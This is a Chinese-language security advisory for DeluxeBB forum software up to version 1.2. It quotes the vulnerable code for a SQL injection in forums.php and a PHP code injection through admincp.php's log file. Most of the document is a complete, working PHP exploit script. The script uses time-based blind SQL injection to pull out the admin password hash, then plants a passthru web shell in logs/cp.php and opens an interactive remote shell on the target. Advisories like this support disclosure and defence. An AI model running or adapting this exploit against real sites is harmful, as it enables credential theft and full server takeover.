安全研究
安全漏洞
DeluxeBB SQL注入和PHP注入漏洞
发布日期：2008-05-05
更新日期：2008-05-07
受影响系统：
DeluxeBB DeluxeBB <= 1.2描述：
BUGTRAQ ID: 29062
DeluxeBB是一款基于PHP的论坛程序。
DeluxeBB的forums.php文件中没有正确地过滤对sort参数的输入便用在了SQL查询中，这允许远程攻击者通过注入任意SQL代码操控SQL查询。
以下是有漏洞的代码段：
108. if(!$sort) {
109. $sort = 'DESC';
110. } elseif($sort=='ASC' || $sort=='DESC') {
111. $add .= '&sort='.$sort;
112. }
113.
114. //calculating pages and navigation
115. $current_count = 0;
116. $tppt = $settings['tppt'];
117.
118. //caching censors
119. if($settings['censors']!=0) {
120. bbcodecache();
121. }
122.
123. //forum info
124. $rows = $db->query("SELECT COUNT(tid) FROM ".$prefix."threads WHERE (lastpostdate>='$posttime' && fid='$fid')");
125. $nrows = $db->result($rows);
126.
127. $pageinfo = multipage($nrows, $page, $settings['tppf'], "forums.php?fid=$fid");
128.
129. include($templatefolder.'/forums_header.dtf');
130.
131. //get and format all threads
132. $threads = $db->query("SELECT t.*,u.username FROM ".$prefix."threads t LEFT JOIN ".$prefix."users u ON (t.author=u.uid)
WHERE (t.fid='$fid' && t.lastpostdate>='$posttime') ORDER BY t.pinned $sort,t.lastpostdate $sort LIMIT $pageinfo[0], $pageinfo[1]");
admincp.php文件中没有正确的过滤对URL的输入便储存在了logs/cp.php中，这允许远程攻击者通过$REQUEST_URI注入并执行任意PHP代码。以下是有漏洞的代码段：
29. if($settings['cplog']==1 || $logs==1) {
30. $time = time();
31. $dir = $settings['logpath'];
32. @chmod($dir.'/cp.php', 0777);
33. $string = $_COOKIE['membercookie']."|##|$ip|##|$time|##|$REQUEST_URI\n";
34. $filehandle=@fopen($dir.'/cp.php',"a");
35. if(!$filehandle) {
36. message($lang_wrongfilepermission, $lang_plschmod);
37. }
38. @flock($filehandle, 2);
39. @fwrite($filehandle, $string);
40. @fclose($filehandle);
41. }
<*来源：EgiX （n0b0d13s@gmail.com）
链接：http://secunia.com/advisories/30084/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
function getdelay($query)
{
global $host, $path;
$query = urlencode($query);
$packet = "GET {$path}forums.php?fid=1&sort={$query} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Connection: close\r\n\r\n";
$start = getmicrotime()*1000;
http_send($host, $packet);
$end = getmicrotime()*1000;
return ($end - $start);
}
function normaldelay()
{
global $count, $prefix, $uid;
$sql = ",(SELECT pass FROM {$prefix}_users WHERE uid={$uid} AND RAND(IF(1=0,BENCHMARK({$count},MD5(1)),0)))/*";
$d1 = getdelay($sql);
$d2 = getdelay($sql);
$d3 = getdelay($sql);
$m = ($d1 + $d2 + $d3) / 3;
return (intval($m));
}
function benchmarkdelay()
{
global $count, $prefix, $uid;
$sql = ",(SELECT pass FROM {$prefix}_users WHERE uid={$uid} AND RAND(IF(1=1,BENCHMARK({$count},MD5(1)),0)))/*";
$d1 = getdelay($sql);
$d2 = getdelay($sql);
$d3 = getdelay($sql);
$m = ($d1 + $d2 + $d3) / 3;
return (intval($m));
}
function getuserinfo($uid)
{
global $host, $path;
$packet = "GET {$path}misc.php?sub=profile&uid={$uid} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Connection: close\r\n\r\n";
preg_match_all("/<span class=\"misctext\">(.*)<\/span>/", http_send($host, $packet), $split);
return $split[1];
}
print "\n+-----------------------------------------------------------------+";
print "\n| DeluxeBB <= 1.2 Multiple Remote Vulnerabilities Exploit by EgiX |";
print "\n+-----------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path [options]\n";
print "\nhost.......: target server (ip/hostname)";
print "\npath.......: path to DeluxeBB directory (example: / or /deluxebb/)\n";
print "\n-h hash....: MD5 hash of admin (to find with SQL injection)";
print "\n-d delay...: delay for BENCHMARK() (dafault: 500000)";
print "\n-u uid.....: id of an admin user (default: 1)";
print "\n-t prefix..: table's prefix (default: deluxebb)\n";
print "\nExample....: php $argv[0] localhost /deluxebb/ -d 250000 -t my_prefix";
print "\nExample....: php $argv[0] localhost / -h 098f6bcd4621d373cade4e832627b4f6 -u 5\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$opt = array("-h", "-d", "-u", "-t");
$md5 = "";
$count = "500000";
$uid = "1";
$prefix = "deluxebb";
for ($i = 3; $i < $argc; $i++)
{
if ($argv[$i] == "-h") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $md5 = $argv[++$i];
if ($argv[$i] == "-d") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $count = $argv[++$i];
if ($argv[$i] == "-u") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $uid = $argv[++$i];
if ($argv[$i] == "-t") if (isset($argv[$i+1]) && !in_array($argv[$i+1], $opt)) $prefix = $argv[++$i];
}
if (!strlen($md5))
{
print "\n[-] Testing delay time...";
$ndelay = normaldelay();
$adelay = $ndelay * 3;
print "\n[-] Normal delay: {$ndelay} ms";
$bdelay = benchmarkdelay();
print "\n[-] Benchmark delay: {$bdelay} ms (this value must be greater then {$adelay} ms)\n";
$user_info = getuserinfo($uid);
print "\n[-] Username: {$user_info[1]}";
if (strtolower($user_info[3]) != "head admin") die("\n\n[-] '{$user_info[1]}' is not admin!\n");
$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
$index = 1; $md5 = "";
print "\n[-] MD5 Hash: ";
while (!strpos($md5, chr(0)))
{
for ($i = 0, $n = count($hash); $i <= $n; $i++)
{
if ($i == $n) die("\n\n[-] Exploit failed...\n");
$sql = ",(SELECT pass FROM {$prefix}_users WHERE uid={$uid} AND RAND(IF((ORD(SUBSTR(pass,{$index},1))={$hash[$i]}),BENCHMARK({$count},MD5(1)),1)))/*";
if (getdelay($sql) > $adelay) { $md5 .= chr($hash[$i]); print chr($hash[$i]); break; }
}
$index++;
}
if (!eregi("[0-9,a-f]{32}", $md5)) die("\n\n[-] Invalid MD5 hash...\n");
}
else
{
$user_info = getuserinfo($uid);
print "\n[-] Username: {$user_info[1]}\n[-] MD5 Hash: {$md5}";
if (strtolower($user_info[3]) != "head admin") die("\n\n[-] '{$user_info[1]}' is not admin!\n");
}
print "\n\n[-] Trying to inject PHP code with admin credentials...\n";
$code = "<?php;\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)}?>";
$packet = "GET {$path}admincp.php?{$code} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cookie: memberid={$uid}; membercookie={$user_info[1]}; memberpw={$md5}\r\n";
$packet.= "Connection: close\r\n\r\n";
http_send($host, $packet);
$packet = "GET {$path}logs/cp.php HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!ereg("_code_", $html)) die("\n[-] Exploit failed...\n");
else print "[-] Shell injected! Starting it...\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "\ndeluxebb-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}logs/cp.php HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
$packet.= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);
if (!ereg("_code_", $html)) die("\n[-] Exploit failed...\n");
$shell = explode("_code_", $html);
print "\n".$shell[1];
}
else break;
}
?>
建议：
厂商补丁：
DeluxeBB
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.deluxebb.com/
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